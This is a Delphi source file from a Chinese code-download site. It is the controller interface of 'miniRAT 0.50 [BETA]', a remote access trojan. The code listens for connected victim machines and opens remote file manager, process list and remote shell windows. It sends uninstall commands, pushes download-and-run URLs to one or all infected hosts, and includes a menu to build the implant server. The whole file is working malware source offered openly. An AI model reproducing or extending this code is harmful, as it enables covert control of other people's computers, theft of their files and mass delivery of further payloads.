untClient.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:10k
- {南域剑盟 www.98exe.com 上兴QQ:51992
- 声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
- unit untClient;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs, ComCtrls, StdCtrls, untServerCore, ImgList, Menus, Winsock,
- untCMDList, untInformationView, untFileManager, untProcessList, untRemoteCmd,
- ExtCtrls;
- type
- ConnectSock = Record
- port: integer;
- pass: string;
- host: string;
- End;
- rConnectSock = ^ConnectSock;
- TForm1 = class(TForm)
- GroupBox1: TGroupBox;
- StatusBar1: TStatusBar;
- Label1: TLabel;
- Edit1: TEdit;
- Button1: TButton;
- ListView1: TListView;
- Edit2: TEdit;
- Label2: TLabel;
- PopupMenu1: TPopupMenu;
- ransferView1: TMenuItem;
- N1: TMenuItem;
- Disconnect1: TMenuItem;
- InformationView1: TMenuItem;
- FileManager1: TMenuItem;
- ProcessList1: TMenuItem;
- RemoteCmd1: TMenuItem;
- Timer1: TTimer;
- Uninstall1: TMenuItem;
- N2: TMenuItem;
- CreateServer1: TMenuItem;
- About1: TMenuItem;
- Download1: TMenuItem;
- hisone1: TMenuItem;
- Everyone1: TMenuItem;
- N3: TMenuItem;
- procedure FormCreate(Sender: TObject);
- procedure Button1Click(Sender: TObject);
- procedure ransferView1Click(Sender: TObject);
- procedure Disconnect1Click(Sender: TObject);
- procedure InformationView1Click(Sender: TObject);
- procedure FileManager1Click(Sender: TObject);
- procedure ProcessList1Click(Sender: TObject);
- procedure Button2Click(Sender: TObject);
- procedure RemoteCmd1Click(Sender: TObject);
- procedure Timer1Timer(Sender: TObject);
- procedure CreateServer1Click(Sender: TObject);
- procedure About1Click(Sender: TObject);
- procedure Uninstall1Click(Sender: TObject);
- procedure hisone1Click(Sender: TObject);
- procedure Everyone1Click(Sender: TObject);
- procedure N3Click(Sender: TObject);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- const
- dVersion = 'miniRAT 0.50 [BETA]';
- Var
- Server: TServer;
- Form1: TForm1;
- ListenHandle: THandle;
- rCon:ConnectSock;
- dlgInformation : Array [0..100] Of TForm3;
- dlgFileManager : Array [0..100] Of TForm4;
- dlgProcessList : Array [0..100] Of TForm5;
- dlgRemoteShell : Array [0..100] Of TForm6;
- implementation
- uses untTransferView, untServerCreator, untAbout;
- {$R *.dfm}
- procedure StartServer;
- Begin
- Server := TServer.Create;
- Server.Port := StrToInt(Form1.Edit1.Text);
- Server.Listen;
- End;
- procedure TForm1.FormCreate(Sender: TObject);
- begin
- Form1.Caption := dVersion;
- FillChar(dlgInformation, SizeOf(dlgInformation), 0);
- end;
- procedure TForm1.Button1Click(Sender: TObject);
- var
- D: Dword;
- X: Cardinal;
- I: Word;
- begin
- If (Button1.Caption = '&Listen') Then
- Begin
- Password := Edit2.Text;
- ListenHandle := CreateThread(NIL, 0, @StartServer, NIL, 0, D);
- Button1.Caption := '&Stop';
- StatusBar1.Panels[0].Text := 'Listening.';
- End Else
- Begin
- GetExitCodeThread(ListenHandle, X);
- If (TerminateThread(ListenHandle, X)) Then
- StatusBar1.Panels[1].Text := 'Stopped listening successfully.'
- Else
- StatusBar1.Panels[1].Text := 'Cant close listen-thread.';
- Button1.Caption := '&Listen';
- StatusBar1.Panels[0].Text := 'Not Active.';
- ListView1.Items.Clear;
- For I := 0 To 99 Do
- If (Server.SocketList[I] > 0) Then CloseSocket(Server.SocketList[I]);
- End;
- end;
- procedure TForm1.ransferView1Click(Sender: TObject);
- begin
- Form2.Show;
- end;
- procedure TForm1.Disconnect1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- Server.Disconnect(ListView1.ItemFocused.Caption, ListView1.ItemFocused.SubItems[0]);
- end;
- procedure TForm1.InformationView1Click(Sender: TObject);
- var
- I: Word;
- F: Boolean;
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- For I := 0 To 100 Do
- If (dlgInformation[I] <> NIL) And
- (dlgInformation[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
- Exit;
- F := False;
- ZeroMemory(@I, SizeOf(I));
- For I := 0 To 100 Do
- If (dlgInformation[I] = NIL) Or (Not dlgInformation[I].Visible) Then
- Begin
- Application.CreateForm(TForm3, dlgInformation[I]);
- dlgInformation[I].Visible := True;
- dlgInformation[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
- dlgInformation[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
- F := True;
- Break;
- End;
- If (Not F) Then
- MessageBox(0, 'Error: To many "Information View" boxes loaded', 'Error', mb_ok or mb_iconhand);
- end;
- procedure TForm1.FileManager1Click(Sender: TObject);
- var
- I: Word;
- F: Boolean;
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- For I := 0 To 100 Do
- If (dlgFilemanager[I] <> NIL) And
- (dlgFilemanager[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
- Exit;
- F := False;
- ZeroMemory(@I, SizeOf(I));
- For I := 0 To 100 Do
- If (dlgFilemanager[I] = NIL) Or (Not dlgFilemanager[I].Visible) Then
- Begin
- Application.CreateForm(TForm4, dlgFilemanager[I]);
- dlgFilemanager[I].Visible := True;
- dlgFilemanager[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
- dlgFilemanager[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
- F := True;
- Break;
- End;
- If (Not F) Then
- MessageBox(0, 'Error: To many "Filemanager" boxes loaded', 'Error', mb_ok or mb_iconhand);
- end;
- procedure TForm1.ProcessList1Click(Sender: TObject);
- var
- I: Word;
- F: Boolean;
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- For I := 0 To 100 Do
- If (dlgProcessList[I] <> NIL) And
- (dlgProcessList[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
- Exit;
- F := False;
- ZeroMemory(@I, SizeOf(I));
- For I := 0 To 100 Do
- If (dlgProcessList[I] = NIL) Or (Not dlgProcessList[I].Visible) Then
- Begin
- Application.CreateForm(TForm5, dlgProcessList[I]);
- dlgProcessList[I].Visible := True;
- dlgProcessList[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
- dlgProcessList[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
- F := True;
- Break;
- End;
- If (Not F) Then
- MessageBox(0, 'Error: To many "Process List" boxes loaded', 'Error', mb_ok or mb_iconhand);
- end;
- procedure TForm1.Button2Click(Sender: TObject);
- begin
- Form5.Show;
- end;
- procedure TForm1.RemoteCmd1Click(Sender: TObject);
- var
- I: Word;
- F: Boolean;
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- For I := 0 To 100 Do
- If (dlgRemoteShell[I] <> NIL) And
- (dlgRemoteShell[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
- Exit;
- F := False;
- ZeroMemory(@I, SizeOf(I));
- For I := 0 To 100 Do
- If (dlgRemoteShell[I] = NIL) Or (Not dlgRemoteShell[I].Visible) Then
- Begin
- Application.CreateForm(TForm6, dlgRemoteShell[I]);
- dlgRemoteShell[I].Visible := True;
- dlgRemoteShell[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
- dlgRemoteShell[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
- F := True;
- Break;
- End;
- If (Not F) Then
- MessageBox(0, 'Error: To many "Remote Shell" boxes loaded', 'Error', mb_ok or mb_iconhand);
- end;
- procedure TForm1.Timer1Timer(Sender: TObject);
- begin
- Form2.Show;
- Form2.Left := Form1.Left;
- Form2.Top := Form1.Top + Form1.Height;
- Timer1.Enabled := False;
- end;
- procedure TForm1.CreateServer1Click(Sender: TObject);
- begin
- Form7.Show;
- end;
- procedure TForm1.About1Click(Sender: TObject);
- begin
- Form8.Show;
- end;
- procedure TForm1.Uninstall1Click(Sender: TObject);
- var
- Sock: TSocket;
- Temp: String;
- begin
- If ListView1.ItemIndex = -1 Then Exit;
- Sock := StrToInt(ListView1.ItemFocused.SubItems[4]);
- Temp := IntToStr(C_UNINSTALL) + ' '#10;
- Send(Sock, Temp[1], Length(Temp), 0);
- end;
- procedure TForm1.hisone1Click(Sender: TObject);
- var
- Sock: TSocket;
- Temp: String;
- HTTP: String;
- SAVE: String;
- begin
- If ListView1.ItemIndex = -1 Then Exit;
- Sock := StrToInt(ListView1.ItemFocused.SubItems[4]);
- HTTP := InputBox('URL Download', 'Please insert URL to uploaded file', 'http://');
- SAVE := InputBox('Save As', 'Save downloaded file at', 'C:file.exe');
- Temp := IntToStr(C_DOWNLOAD) + ' ' + HTTP + ' ' + SAVE + #10;
- Send(Sock, Temp[1], Length(Temp), 0);
- end;
- procedure TForm1.Everyone1Click(Sender: TObject);
- var
- Sock: TSocket;
- Temp: String;
- I : Word;
- HTTP: String;
- SAVE: String;
- begin
- If (ListView1.items.Count = 0) Then Exit;
- StatusBar1.Panels[1].Text := 'URL Sent to 0 of '+IntToStr(ListView1.Items.Count);
- For I := 0 To ListView1.Items.Count -1 Do
- Begin
- Sock := StrToInt(ListView1.Items[I].SubItems[4]);
- HTTP := InputBox('URL Download', 'Please insert URL to uploaded file', 'http://');
- SAVE := InputBox('Save As', 'Save downloaded file at', 'C:file.exe');
- Temp := IntToStr(C_DOWNLOAD) + ' ' + HTTP + ' ' + SAVE + #10;
- Send(Sock, Temp[1], Length(Temp), 0);
- StatusBar1.Panels[1].Text := 'URL Sent to '+IntToStr(I)+' of '+IntToStr(ListView1.Items.Count);
- End;
- end;
- function ConnectServer(p:Pointer):DWORD;stdcall;
- begin
- if Server=nil then
- Server := TServer.Create;
- Server.Connect(rConnectSock(p)^.host,rConnectSock(p)^.pass,rConnectSock(p)^.port);
- end;
- procedure TForm1.N3Click(Sender: TObject);
- var D:DWORD;
- hs,hp:string;
- begin
- hs:=InputBox('请输入','请输入连接主机地址:','192.168.5.2');
- hp:=InputBox('请输入','请输入连接端口:','3684');
- rCon.port:=strtoint(hp);
- rCon.pass:='';
- rCon.host:=hs;
- ListenHandle := CreateThread(NIL, 0, @ConnectServer, @rCon, 0, D);
- end;
- end.